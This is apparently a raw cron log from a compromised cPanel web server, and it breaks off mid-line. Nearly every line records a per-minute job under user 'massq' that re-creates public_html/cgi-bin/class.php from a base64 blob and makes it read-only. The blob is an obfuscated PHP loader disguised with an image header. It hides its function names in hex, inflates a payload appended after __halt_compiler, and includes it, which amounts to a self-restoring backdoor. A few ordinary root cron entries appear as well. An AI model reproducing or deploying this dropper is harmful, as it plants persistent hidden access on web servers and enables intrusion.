yLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:46:01 server CROND[31538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:47:01 server CROND[31700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:48:01 server CROND[31747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:49:01 server CROND[31800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:50:01 server CROND[31852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:50:01 server CROND[31853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 06:50:01 server CROND[31863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:50:01 server CROND[31865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 06:50:01 server CROND[31864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:51:01 server CROND[31961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:52:01 server CROND[32022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:53:01 server CROND[32074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:54:01 server CROND[32223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:55:01 server CROND[32274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:55:01 server CROND[32275]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:55:01 server CROND[32276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:56:01 server CROND[32387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:57:01 server CROND[32446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:57:01 server CROND[32447]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 06:58:01 server CROND[32498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:59:01 server CROND[32638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRm